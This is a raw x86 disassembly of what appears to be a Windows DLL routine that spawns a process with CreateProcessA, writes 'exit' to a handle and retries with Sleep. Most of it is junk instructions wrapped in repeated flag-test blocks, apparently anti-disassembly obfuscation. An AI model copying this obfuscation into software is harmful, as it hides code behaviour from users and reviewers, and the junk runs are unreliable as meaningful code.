lea eax, [ebp - 0x17c]
push eax
lea eax, [ebp - 0x16c]
push eax
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pushfd
test byte [0x100bafec], 0x17
jne 0x100bafed
jno 0x100bafe2
xor eax, 0xddef39a9
and ah, byte [eax]
cmpsb byte [esi], byte es:[edi]
sub esp, dword [esi - 0x5e7c0c6d]
cmp byte [edx - 0xbb76cf6], bh
cmpsb byte [esi], byte es:[edi]
xchg ebx, eax
and dword [ecx - 0x6cf545c8], 0x48
hlt
popfd
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
pushfd
test byte [0x100bb03c], 3
je 0x100bb13d
fldenv [ecx + 0xc]
je 0x100bb012
imul esi, esp, 0xa69d0fe8
push ebp
dec ecx
in al, dx
dec edx
dec edx
enter 0x71d4, 0xffffffffffffffc8
ficomp dword [edi]
cmp eax, 0xe602cc7a
pop edx
cmp eax, 0xe408ad12
xchg esi, eax
push ecx
pop eax
pop edi
xchg ecx, eax
mov dh, 0xcc
cmc
mov edx, 0x86e196b4
imul eax, dword [esi - 0x18ae37be], 0xffffffa3
int3
popfd
pop ebx
push dword [ebp - 0x110]
pushfd
test byte [0x100bb21f], 0xd3
jne 0x100bb220
cmpsd dword [esi], dword es:[edi]
jle 0x100bb13d
cdq
push ebp
mov eax, 0xcb06871d
mov cl, 0x15
std
cmpsb byte [esi], byte es:[edi]
lds eax, [ecx + 0x48]
out 0x35, al
xor al, byte [eax]
add dword [ebp + 0x10], ecx
pop edi
adc edi, esp
mov eax, 0xcb89920b
add al, ah
xor al, 0x98
test al, 0x86
push ds
dec esi
out dx, eax
or dword [eax - 0x4d], edi
inc edi
xchg edi, eax
rol dword [edi + 0x3ce8a058], 0xb0
salc
inc ebp
nop
cmp al, byte ds:[ebx]
fisttp qword [ebp + eax*4 + 0x17711209]
out 0x55, al
push esp
xor al, 0x2c
jg 0x100bb1fd
sal al, 1
xchg esp, eax
aam 0xbc
out 0x18, al
pushfd
dec ebp
adc eax, 0x531d0176
and edi, dword [ebp + 6]
insd dword es:[edi], dx
push es
outsd dx, dword [esi]
jecxz 0x100bb1b0
xor dword [ecx + 0x7f5cad00], edi
sub dword [eax + edx + 0x7c], ebp
in al, dx
in eax, 8
add byte [eax + 0xeb6ba66], ah
aas
clc
mov dword [edi - 0x3aaf2acd], ebp
inc esi
loop 0x100bb24a
arpl word [esi - 0x740191b4], ax
push ebp
cmpsd dword [esi], dword es:[edi]
movsb byte es:[edi], byte [esi]
in eax, 0xcf
pushfd
mov cl, 0xdc
sub eax, 0x2e403f3e
fdiv dword [ecx]
sub byte [eax + 0x15795dec], bl
out 0x7d, eax
imul esp, dword [ebp - 0x11db64db], 0xffffffdb
jge 0x100bb25b
movsd dword es:[edi], dword [esi]
and eax, 0xdbee249b
mov esi, esi
dec esp
mov ecx, 0x43101a2f
inc ebx
movsd dword es:[edi], dword [esi]
rcr dword [ebx - 0x4b], cl
int 0x98
fld qword [eax + 0x3a]
daa
push esi
pop esp
das
mov byte [edx], al
and dword [esi], ebx
sub cl, bh
pushal
push ebx
popal
lodsd eax, dword [esi]
adc dword [0xf38bb139], 0x35
cmpsd dword [esi], dword es:[edi]
leave
popfd
test eax, eax
pushfd
test byte [0x100bb255], 0x3f
jne 0x100bb356
push edx
jno 0x100bb1ee
rcl byte [edi + 0x4ccfff06]
push esi
jo 0x100bb269
rcr byte [edx + edi*2 - 0x65895fe4], 1
inc edx
outsb dx, byte [esi]
sub byte [ebp - 0x3d], cl
insb byte es:[edi], dx
int1
aaa
mov edx, 0xbdc26173
fdivr qword [edi - 0x2f0918b6]
mov eax, dword [0x55f852b0]
push ebp
xor dword [edi - 0x484ab2e2], esi
dec ebp
mov ch, 0xb7
call 0x8fc0ddb4
mov dword [ebx - 0x1f42a9d3], edx
fimul dword [esp + 0x34]
dec ebp
sub esi, dword [ebp + 0x2d93897f]
push esi
mov ebp, 0xe44cdae0
xor al, 0xd8
xor ecx, dword [edx + 0x79]
push ebp
sub eax, 0xdae0bd56
dec esp
in al, 0x34
fdiv dword [ebx]
dec edx
jns 0x100bb2cb
out dx, al
push ebx
push esp
inc ecx
mov eax, dword [0x58b81c2c]
inc eax
adc ebx, eax
mov dl, 0x25
sub eax, 0xb3e27678
xlatb
mov bl, 0xd7
jo 0x100bb251
inc edi
add eax, 0x5d696ea1
dec ebp
mov eax, 0xe1af15d3
and al, 0x73
and edi, dword [ebx]
outsd dx, dword [esi]
cli
sbb edx, dword [eax]
and eax, 0x7ce7ed
ja 0x100bb263
ror dword [edi], 1
push esi
aas
mov eax, dword [eax - 1]
ja 0x100bb289
cmp eax, 0x6ca4f2b7
mov edi, 0x2e59dbd2
adc esi, edx
mov ah, byte [edx + 0x5edf14fe]
adc eax, 0x863eb2c7
movsd dword es:[edi], dword [esi]
adc byte [ebx], al
sub ebx, dword [eax - 0x6d3e5157]
jle 0x100bb348
mov dl, 0x3e
xchg byte [ebp - 0x67d4fcf0], ah
cwde
test eax, 0x7e92c1ae
jno 0x100bb2c9
int1
jno 0x100bb25f
xchg ebp, eax
push cs
push ebx
js 0x100bb330
loopne 0x100bb2a7
jge 0x100bb2e1
mov al, byte [0x5565f267]
push ebp
lodsb al, byte [esi]
cmp edx, dword [edx - 0x53c110ca]
xchg edx, eax
out dx, eax
lodsb al, byte ds:[esi]
mov word [ecx - 0x1604635b], es
xor al, 0x92
xor ah, 0xa6
cmp bl, byte [eax]
insd dword es:[edi], dx
sub byte [edx + 1], cl
xchg dword [ebp - 0x5cba33af], edi
pushfd
inc ecx
pop eax
les edi, [ebx + eax*4 + 0x2e]
jecxz 0x100bb2ea
enter 0x3c98, 0x55
salc
pop es
jo 0x100bb2e7
push ebp
add dword [esi - 0x5450ec77], 0x6a
pop es
psadbw mm5, mm7
dec ebx
mov ebp, 0xde35c471
or byte [esi - 0x38606968], dl
mov eax, 0x74a418d2
sbb edx, dword [ecx]
popfd
sbb ecx, 0x2f5b4ba8
jle 0x100bb2d0
in eax, dx
cld
xor edi, dword [ecx]
int3
dec ebp
hlt
popfd
jne 0x100bb4f5
pushfd
test byte [0x100bb3ac], 0xf7
jne 0x100bb3ad
pop esp
mov byte [edx - 0x1e], ah
push ecx
insb byte es:[edi], dx
movsd dword es:[edi], dword [esi]
mov ecx, 0x1a3279ec
xor bl, byte [edx]
test dword [edi + 0x52], eax
fisub word [edi]
xor al, ah
lds ebx, [edx - 0x7382ec69]
scasd eax, dword es:[edi]
pop ecx
fucompi st(2)
mov esi, 0xaf57304e
xor byte [ebx - 0x28560d1], ch
stosb byte es:[edi], al
js 0x100bb372
and eax, 0x2f49a0a2
movsb byte es:[edi], byte [esi]
sbb al, 0x83
pop esp
outsb dx, byte [esi]
push esp
movsb byte es:[edi], byte [esi]
imul edx, edx, 0xa3dc4640
pop ds
xchg byte [ecx + 0x614a2ef6], bl
popfd
call esi
push dword [ebp - 0x10c]
call esi
push dword [ebp - 0x114]
call esi
push dword [ebp - 0x118]
call esi
xor eax, eax
pushfd
test byte [0x100bb3ee], 0xc1
jne 0x100bb4ef
dec ecx
sub eax, 0xacf7719c
push ss
inc esp
xchg esp, eax
add edi, dword [esi - 0x59]
lahf
test al, 0x4d
jo 0x100bb37c
cdq
sbb eax, 0x27c546cf
push ss
pushfd
pop es
sti
cwde
cmpsd dword [esi], dword es:[edi]
pop esi
push ds
mov ecx, dword [ebx]
sub edx, 0x2fb6e553
xchg ebp, eax
enter 0xfffffffffffff6d2, 0x28
mov eax, dword [0x13b58eba]
out 0x76, eax
call 0x9c78a0f4
push eax
mov cl, 0x37
aaa
inc esi
mov edx, 0x11cc6c1d
enter 0xffffffffffffbcf8, 0x5e
push 0x14eb840a
stosb byte es:[edi], al
call [ebp + 0x1f638f3e]
mov ebp, 0x2a8f0252
mov dword [0xa33b70d7], eax
inc esp
xor dword [edi - 0x26], ebp
pop es
pushfd
fisubr word [esi]
mov ah, 0xdc
in al, dx
jne 0x100bb413
cli
outsd dx, dword [esi]
pop eax
xchg edx, eax
jnp 0x100bb48f
stosd dword es:[edi], eax
cmc
sbb byte ss:[edi], 0x8c
fiadd word [ecx]
xlatb
add edi, edx
in eax, dx
imul ebx, dword [edx + 0x7c], 0xffffff9b
sbb eax, 0x38564a1b
and bl, ah
shr edi, 0x2f
dec edx
push esi
cmp byte [edx], ah
fadd st(1), st(0)
out dx, eax
das
ja 0x100bb48d
lodsb al, byte [esi]
jb 0x100bb467
adc byte [eax], dl
in eax, 0x9a
fucomi st(1)
push edi
outsb dx, byte [esi]
out dx, al
lcall 0xee6e, 0x57e9db3e
xor dword [esi + 0x59655044], eax
mov al, byte [0x9f427f79]
jg 0x100bb4ba
lahf
sbb byte [esi + 0x7ddf2b41], cl
mov ch, 0x21
sahf
cmp eax, 0x1ec5f05e
out 0x93, eax
jge 0x100bb464
cwde
push 0xfffffffffffffff1
int1
shr byte [edi + 0x2864bb5e], cl
mov dword [esi - 0x23d6af3b], ecx
sbb ecx, dword [ecx - 0x6776ea97]
mov bh, 0x41
or ebx, ecx
scasd eax, dword es:[edi]
pop esi
mov ebx, 0x8e892864
lds edx, [eax + 0x29]
fcomp qword [ebx]
mov dword [ecx + 0x15], ebp
mov dword [eax - 0x26f4be49], ebx
adc eax, 0x2f485481
push cs
in al, dx
daa
add byte [ebx + 0x1d], ch
jo 0x100bb44e
xor byte [ecx - 9], bl
adc bh, byte [edx - 0x384e95d1]
fld dword [edx - 0x88bd9b4]
mov al, byte [0x6b193477]
fist dword [edi - 0x54da0ad9]
scasb al, byte es:[edi]
fsub dword [eax]
jecxz 0x100bb457
invalid
push edi
int 0x94
lodsb al, byte [esi]
sub byte [edx + 0x2ab6afc8], ah
pushfd
pushfd
mov eax, 0xf4b15e55
pop ebp
mov esi, 0x123c33dc
rcr byte [ebx], cl
pop es
jae 0x100bb476
inc esp
lodsb al, byte [esi]
popfd
jmp 0x100bb64d
call esi
push dword [ebp - 0x10c]
call esi
mov eax, dword [ebp - 0x114]
mov dword [edi + 0xc], eax
pushfd
test byte [0x100bb5c5], 0x10
jne 0x100bb5c6
cmpsb byte [esi], byte es:[edi]
adc byte [edx - 0x455de856], bh
or ah, dh
daa
scasb al, byte es:[edi]
nop
imul ebx, dword [edi + 0x288fb54f], 0xabce7e39
dec eax
dec esp
mov ebx, 0x685601b0
xchg edx, eax
lds eax, [esi - 0x26a8cced]
aaa
adc esi, dword [ebx]
push edi
fnstenv [edi]
adc esp, ebx
push edx
adc eax, dword [0xaf171e77]
inc ebx
push ecx
pop edi
dec ah
xlatb
push ebp
je 0x100bb5be
sbb bh, byte [edi]
push ss
test byte [ebp + 0x2a], dl
mov edi, 0xc0445ec2
jo 0x100bb56c
sub esi, dword [edi + 0x59e45a1f]
xchg edi, eax
sub byte [ebp + 0x7027dc0f], cl
xor byte [edx], dl
dec ebx
pop eax
aas
or eax, 0x7768b16
pop edx
push edx
outsd dx, dword [esi]
bnd jle 0x100bb536
sbb byte [ecx + 0x4cb6c3f6], al
test edi, 0x523f338
add esi, ebx
mov bl, 0x28
lds ebp, [edi + ebp*4 - 0x46]
mov bh, 0x97
xor ch, byte [ecx + ebx*2]
test byte [ebx + ebx], bh
idiv byte [ecx - 0x40a12322]
and byte [esi - 0x75], al
mov eax, 0x1cf95d8a
insb byte es:[edi], dx
insb byte es:[edi], dx
in eax, dx
push ebx
inc edi
nop
into
shr dword [eax], cl
leave
and byte [edx], dh
sal dword [ebx + 0xd], 0xcf
or cl, byte [esi - 0x8a1734c]
or eax, 0xb48e0acf
mov word [esi - 9], ds
xor ah, byte [esi]
stosd dword es:[edi], eax
sub ecx, ebp
adc al, 0xc1
jge 0x100bb5af
mov esp, 0x8ee2fd07
aas
popfd
mov eax, dword [ebp - 0x118]
pushfd
test byte [0x100bb63c], 0x8d
jne 0x100bb63d
call 0x25ab4756
sti
sbb al, 0x6c
pop esi
cmc
rcr dword [edi - 0x4d], cl
pop ebx
out dx, al
xor eax, 0x70f5dd0e
mov ebx, 0x6e10848b
push esi
js 0x100bb638
mov edi, 0x71b6bc69
ror byte [ebx], 0x39
nop
out 0x35, al
or byte [ebx - 0x6bc2ee5f], dl
dec eax
cmp dword [ebx + 0x11], 0x643433b0
lds ecx, [0x92169be7]
nop dword [ebx]
dec esp
aam 0x49
pushal
into
int1
fisub dword [esi]
adc dword [ecx], esp
push eax
aam 0x70
stosb byte es:[edi], al
arpl word [edx - 0x1942c722], bp
push 0xed5322ab
dec ebp
cli
mov dword [0xcd9f423c], eax
in al, dx
cmp dh, byte [ebx + 0x36]
jae 0x100bb670
int 0x6d
push ecx
popfd
mov dword [edi + 8], eax
mov eax, dword [ebp - 0x174]
mov dword [edi + 0x10], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pushfd
test byte [0x100bb699], 0xee
jne 0x100bb79a
fild word [esi + 0x69]
int1
int3
fdivr dword [ebx]
loopne 0x100bb6a5
or al, 0x6d
adc ch, ah
sbb esp, dword [eax - 0x2cedd0cf]
bound ebp, qword [esi - 0x432f56bd]
cmp byte [ebp + 0x4f], dl
loopne 0x100bb6ff
push cs
and byte [eax], cl
dec esi
xor esp, esp
mov esi, dword [eax + 6]
outsd dx, dword [esi]
and dword [ebp + 0x2350d66f], edi
out 0x2d, al
test al, 0xa4
sub eax, 0x8034a4a8
xor al, 0x80
sbb byte [edx + 0x78], bl
inc ecx
test al, 0x63
push 0x13
inc eax
mov edx, 0xfc0c434f
adc dword [eax + 0x384ef492], ebx
adc bh, byte [esp + eax*2 - 0x39e57380]
push 3
adc dword [ebx], esp
arpl word [edi], bp
sub byte [edx - 0x25], bh
arpl word [esi - 0x796f285e], ax
jbe 0x100bb69a
push ecx
dec dword [ebx]
add dword [edx + esi], 0xffffff88
fldl2e
jg 0x100bb69d
mov ecx, dword [edx*8 - 0x23f980d1]
std
cmpsd dword [esi], dword es:[edi]
mov byte [ebx - 0x18b596a8], dl
aad 0x52
sub dword [esi - 0x5b], eax
mov byte [esi + 0x7d], al
mov ebp, 0xd6447330
xchg esi, eax
sti
push esi
sbb al, 3
aaa
test eax, 0xa794df62
lea eax, [0x732a44fb]
pop ebp
sti
inc esp
sub dh, byte [ebx + 0x5d]
cwde
dec ebx
sub al, 0xad
ror byte [eax + 0xe], cl
sti
out dx, al
out 0xa6, al
outsb dx, byte [esi]
cmp dword [edi + 0x74eb7e64], eax
push esp
sal byte [ebp - 0x19c820cb], 0xd5
test dword [0x6a106f5e], esp
xchg esi, eax
sbb dword [ecx], edx
shr dword es:[ebx + 0x60], 0x34
adc dword [ebp - 0x5b2092f6], ebx
jge 0x100bb7aa
popal
sti
lodsb al, byte [esi]
sar dword [ecx + ecx - 0x1b], 0x5c
and byte [ecx], bh
rcl dword [eax - 0x13923e15], 0x75
test ebp, ebp
jbe 0x100bb7c8
inc edi
je 0x100bb7a3
mul ebx
cli
sub eax, 0x3fff1a59
mov eax, dword [0x42e2d470]
inc edx
push ecx
outsd dx, dword [esi]
push cs
cdq
mov dl, 0xa9
int 0xe0
cmp eax, 0xa254965
sar ah, 0x21
mov ebp, 0x68dc7e19
mov edi, 0x79d13a3d
mov dl, byte [esi]
jnp 0x100bb759
lds esi, [edi]
sbb cl, ch
mov bh, 0x69
cmp al, 0x5f
sbb dh, byte [ecx - 0x4a4208cb]
out 0x9f, al
adc dword [eax], ebx
pop ds
or dword [edx - 0xb87105], ebp
mov es, word [edi - 1]
inc edi
adc eax, 0x4ebbad51
sub al, 0xe3
popfd
pop esi
call fcn.1011e48a
leave
ret 4
add al, 0
push ebp
mov ebp, esp
push ecx
pushfd
test byte [0x100bb7b5], 0x85
jne 0x100bb7b6
xor ch, byte [ecx]
cdq
popfd
push ebx
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
mov ebx, ecx
call fcn.1011d740
pop ecx
push eax
pushfd
test byte [0x100bb88a], 0xf8
jne 0x100bb88b
fucompi st(6)
jns 0x100bb78f
dec ecx
jbe 0x100bb786
cmpsd dword [esi], dword es:[edi]
sar edi, 0x60
aam 0xfe
and ebx, dword [esi]
jb 0x100bb82e
loopne 0x100bb7de
pop es
mov dl, 0x92
add esi, dword [ebp - 0x28d61582]
salc
xlatb
jg 0x100bb837
or ch, byte [ebx + eax*4]
test byte [ebx + 0x55], al
or ecx, ebx
inc edi
cmp dword [edi - 0x80], ebx
push ss
or byte [edx - 0x56], bl
cmp edx, dword [ecx]
in al, dx
jbe 0x100bb7b8
les edi, [edx]
pushfd
out dx, eax
adc dword [ecx - 0x2770e228], esp
out dx, eax
xlatb
js 0x100bb853
popal
xchg bl, dl
outsb dx, byte [esi]
xor bh, byte [esi]
stosb byte es:[edi], al
and ebp, dword [edi]
sub bl, byte [eax + 0x45]
dec edi
ficom word [edi + 0x5c0e83cc]
mov cl, 0xee
dec edx
int 0xaa
inc ebp
cdq
in al, 0x2d
and al, cl
push esp
and byte [edi + 0x7f49ad9b], cl
out 0x92, al
inc edx
mov ecx, 0x1c538b38
inc edi
or dh, byte [esi]
pop edx
pop ecx
mov edx, 0xf5cb72c1
mov edi, 0x80afe54e
in eax, dx
dec si
dec esi
in eax, 0xaf
sub ch, 0xf2
dec si
jb 0x100bb86c
sub al, 0x26
aas
cmp dh, byte [eax + ecx - 0xab996f1]
add eax, 0xff5e2060
push esp
rol ch, 0xd
cmp byte [esi - 0x61d1d9dd], ah
adc al, 0xe9
pushfd
add al, 0x2e
mov dword [ebx + ecx*4 - 0x59b0961a], 0x10d6a552
scasb al, byte es:[edi]
mov dh, 0x11
mov ss, word [edx]
popfd
push dword [ebp + 8]
pushfd
test byte [0x100bb8c8], 0x58
jne 0x100bb9c9
test dword [ebx + 0x4b], ebp
push eax
mov ebx, 0x79479b4d
cdq
xor eax, 0x396a70d7
pop ebx
scasd eax, dword es:[edi]
jmp [edi + 0x5652a20b]
popfd
push dword [ebx + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
pushfd
test byte [0x100bb9f4], 0xd4
jne 0x100bb9f5
inc esp
sub eax, 0x16e194d1
adc dh, cl
dec esp
jg 0x100bba0f
xchg edx, eax
pop ecx
push es
mov al, al
bound ebp, qword [eax - 0x693514c4]
popfd
jne 0x100bba00
or eax, 0xffffffff
jmp 0x100bbe2f
push str.exit_r_n
push dword [ebp + 8]
call fcn.1011f079
pop ecx
pop ecx
pushfd
test byte [0x100bbad9], 8
jne 0x100bbada
aad 0x75
test ebp, 0x1dd689a5
and ecx, dword [esp + edx - 0x68]
out 0xc4, eax
mov ch, 0x8f
pop edi
xchg edi, eax
clc
push esp
fstp st(0)
sub ebx, esp
imul edi, dword [edi + ecx*8 - 0x108fa311], 0xd
xchg ecx, eax
dec esi
test eax, 0xe0f487d3
xchg ebp, eax
inc edx
xlatb
sti
fisubr dword [ebx]
cmp byte [ebx + edi*8 + 0x37c02ca2], bl
ficomp word [esi + 0x6c]
adc ch, byte [edx - 0x4520a417]
salc
sub ch, bh
mov dh, 0x68
pop eax
rcr byte [eax - 0x21], cl
pushfd
xchg esi, eax
xor byte [0x131e6267], bl
push ebp
xchg esp, eax
mov esp, 0x282ccdf
xor byte [edi - 1], 0x81
pop esi
movsd dword es:[edi], dword [esi]
in al, dx
inc edx
and eax, 0x1abfdb63
inc esp
adc ch, 0x32
mov bh, 0x2a
pop ebp
lodsb al, byte [esi]
sub ecx, dword [edx - 0x45fb1b73]
mov dword [0x1cb2a37e], eax
xor bl, al
mov dword [0x1483c374], eax
insd dword es:[edi], dx
push cs
and al, 0x9c
inc ecx
mov word [edx - 0x72], ss
xchg dword [edx], eax
xor eax, 0xaf232b0
sub dword [edx - 0x3a], ebx
xchg ecx, eax
mov edi, 0x89de9931
mov dl, 0xd5
mov byte [ecx - 0x543354d], cl
push dword cs:[ebp - 0x414ee09]
popfd
push 0x8ad0e667
or bl, byte [eax - 0x1bd12172]
clc
sub byte [edi], dh
aam 0xc5
imul byte [edx + 0x1fa2c027]
popfd
test eax, eax
jne 0x100bbe2c
mov ecx, ebx
call fcn.100b9f57
test eax, eax
jne 0x100bbe2c
and dword [ebp + 8], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
popal
adc al, 0x10
push edi
pushfd
test byte [0x100bbb3f], 0xde
jne 0x100bbc40
aas
mov dword [0xcc617b75], eax
mov esp, 0x8d603873
inc edx
sub dword [0xbe87623b], edi
pop ebp
mov edx, 0x25d2f7df
push ds
test dword [edx - 0x40], edi
stosb byte es:[edi], al
pop edx
push ecx
jae 0x100bbaf9
mov cl, 0x2f
pop edx
pop esi
mov esp, 0xc4e45fcd
call 0x11d6d4d6
lock add byte [esi + 0x4c1cf437], 0xda
mov dl, 0x51
sbb al, ch
xor esi, 0xffffffd9
sbb dword [0x3000374b], 0x6d
push cs
fucom st(6)
arpl word [ebp + 0x43], sp
mov al, 0x71
les ebx, [ebp + 0x13589551]
mov byte [ebx + eax*8], dh
dec eax
in eax, dx
inc edi
mov bl, 5
mov bl, 0xca
push cs
and dl, byte [ecx]
test eax, 0x54cbfbb0
and ecx, 0x67476b1
inc byte [ebx]
shl dword [esi - 0x32], 1
inc edx
mov edx, 0x544fb35b
sbb dh, byte [ebp + 0x270eff82]
test eax, 0xd5feac68
pop esi
pop es
sub eax, 0x97d8a836
mov bl, byte [esi + 0x441ad67f]
dec esi
insb byte es:[edi], dx
mov al, byte [0xff2563a4]
fidiv word [ecx - 0x7981cfc8]
int 5
add bh, byte [ebx - 0x449ed0e1]
fist dword [esi - 0xf]
fst qword [esp + esi*8 - 0x64]
xchg ebx, eax
jae 0x100bbbfc
add eax, 0x2f1fbb02
popal
mov ebx, 0xddf156db
push esp
hlt
and ch, byte [ecx + 0x1421dd10]
out 0x83, eax
mov edx, 0x554f870f
inc ecx
xchg edi, eax
push ss
insb byte es:[edi], dx
add bl, byte [ecx + 4]
sub al, 0xe0
ror dword [eax], 0x1c
out dx, al
adc al, 0x5d
inc esp
jg 0x100bbba9
inc edi
imul ecx, dword [esi - 0x57da2013], 0x31
cmpsb byte [esi], byte es:[edi]
add dh, cl
sbb dword [ecx], esp
inc edx
inc ebp
sub al, 0xce
inc edi
inc ebp
cmp esp, esp
dec ebx
and cl, byte [esi - 6]
or bh, bl
or byte [edx], ah
dec esp
mov byte fs:[eax - 0x11], dh
out dx, eax
jae 0x100bbc0c
push ebp
in eax, 0xd8
aas
aaa
aas
cmc
pop ebp
or byte [ebp - 0x2dee17fd], 0x1c
je 0x100bbc2f
rcr byte [esp + esi*2], cl
pop ds
test al, 0xba
xchg ebx, eax
arpl dx, di
lodsb al, byte [esi]
xchg edi, eax
mov ebp, 0xe4a0ec93
sbb eax, 0x44feaf15
pop ecx
xchg ecx, eax
push eax
dec dword [eax + 0x53]
enter 0x1848, 0x42
or bl, byte [ebp - 0x67cbc202]
or byte [ebx - 0x4f4470], dl
jbe 0x100bbc77
cmp eax, 0x94089834
arpl word [eax + 0x76ffb0bb], dx
cmp al, 0xee
out dx, al
dec ebp
je 0x100bbc00
popfd
mov edi, 0xc8
jmp 0x100bbc55
inc dword [ebp + 8]
cmp dword [ebp + 8], 5
jg 0x100bbe2a
push edi
call esi
mov ecx, ebx
pushfd
test byte [0x100bbcf1], 0xc5
jne 0x100bbcf2
popal
push ebp
les edx, [edi + 0x78]
aaa
cmp dword [edi - 0x77], edi
adc cl, ah
push ebp
sub dword [edx - 0x52b82d79], edx
rol byte [edi - 0x53], cl
jle 0x100bbca0
mov dh, 0xfc
lds esi, [esi]
jno 0x100bbc9d
rcl eax, 0xeb
xchg edi, eax
xor al, byte [edx + 0x218d506c]
dec esi
pop ebp
xor bl, ah
pop edx
or cl, 0x75
shl byte gs:[ebp + ebp*8 + 0xd], 0x7d
jmp dword [edi - 0x30]
mov bh, 0xe6
adc al, 0xc8
fadd dword [edi - 0x63d94fd2]
enter 0xffffffffffff87d8, 0x2e
mov al, 0x26
pushfd
sub edi, dword [eax + 0x57]
mov bh, 0xea
or eax, 0xf0659416
pop edx
dec edi
fst qword [edx - 0x7379617b]
in eax, 0x7a
mov ebp, 0xc22ed6ee
pop ebx
and byte [ecx - 0x3ff4f539], dl
pop es
or al, 0x46
lahf
test dword [esi + 0xb], edi
movsd dword es:[edi], dword [esi]
lodsb al, byte [esi]
xor esp, esi
scasd eax, dword es:[edi]
xchg edx, eax
dec edi
not esp
test al, 0x13
mov bl, byte [ebx]
ror dword [ebx], 0x32
adc ch, byte [ecx - 0x7a8a6ba9]
dec edi
test dword [ebp + eax*4 - 0x4a], ebx
cmp eax, 0x515ce0d4
jl 0x100bbd48
pop ebx
popfd
call fcn.100b9036
pushfd
test byte [0x100bbe00], 0x33
jne 0x100bbe01
add byte [eax], al
add byte [esi - 0x37], ah
leave
js 0x100bbcc8
cli
sbb ebx, dword [ebx - 0x74]
cld
xchg ecx, eax
jl 0x100bbd63
jns 0x100bbd03
push ebp
paddd mm1, qword [ebx - 0x273721eb]
adc eax, 0x46c7701e
sub al, 0x5e
insd dword es:[edi], dx
rol byte [esi - 0x3f9e153c], cl
aas
inc al
add ch, bh
pop ds
insb byte es:[edi], dx
push edx
sub al, 0x41
inc ecx
mov ecx, dword [ecx]
mov dl, 0xdf
insd dword es:[edi], dx
jbe 0x100bbd35
xchg ebx, eax
fiadd dword [ebx + 0x63c349a3]
int3
mov dword [0xcc63c349], eax
mov ebx, 0xa3ce3521
test eax, 0x7ede7503
or dword [eax], edx
dec edi
fdiv dword [eax + 0x54]
into
mov dword [0xde7503a9], eax
jle 0x100bbd59
adc byte [edi - 0x28], cl
jo 0x100bbda9
or al, 0x3b
adc ebx, dword [eax]
mov eax, dword [0x53bd1d15]
xor cl, byte [edi]
dec ecx
xchg edx, eax
mov esp, 0x3d289ba8
int 0xc
pop edx
xchg esi, eax
test al, 0x9b
sub byte [0x965a0ccd], bh
push ebx
sub al, 0x76
xchg ecx, eax
and esi, esp
scasd eax, dword es:[edi]
fisubr dword [ebp + 0x6a8443de]
cmp ah, ch
into
xor eax, 0x969472cd
insb byte es:[edi], dx
imul edx, dword [eax - 0x701fe46d], 0x3821c200
jbe 0x100bbd40
ficomp dword [ebp - 0x62]
xchg ecx, eax
pop eax
jne 0x100bbe00
in eax, 0x38
xchg ecx, eax
xchg byte [eax - 0x4a098311], al
add cl, dh
nop
pop edx
daa
pop es
adc edx, esp
test dword [edx + 0x17], esp
sbb dword [eax + 0x5aab3375], esi
lahf
pop ss
pop ebx
sub al, 0x49
sti
sbb byte [ebp + 0x23], 0x46
adc dword [edx - 0x39], esi
out dx, al
mov dword [0xb99fa1c6], eax
adc dword [ecx], esp
adc byte [edi + 0x77], bh
out 0x4f, eax
nop
xlatb
pop edx
xor ah, ah
adc ecx, 0x499e22e4
fisttp qword [ebx + edx*2 - 0x78afdae7]
aad 0x23
mov edx, 0xc9e41b05
shl dword [0xcdcce5ec], 0x83
pop edx
jle 0x100bbe05
insd dword es:[edi], dx
out 0x7c, al
out 0x7b, al
dec ebx
sub al, 0x23
lodsd eax, dword [esi]
out dx, al
push ds
out 0xfb, eax
mov ah, 0x7a
and byte [ebx + 0x15], cl
salc
popfd
cmp eax, 1
je 0x100bbc48
mov ecx, ebx
call fcn.100b90dd
pushfd
test byte [0x100bbe28], 0xb9
jne 0x100bbe29
adc eax, 0x442c8294
add byte [ebx - 0x1d], 0xe7
cmc
fiadd dword [ebx]
popfd
pop edi
pop esi
mov eax, dword [ebp - 4]
pop ebx
leave
ret 4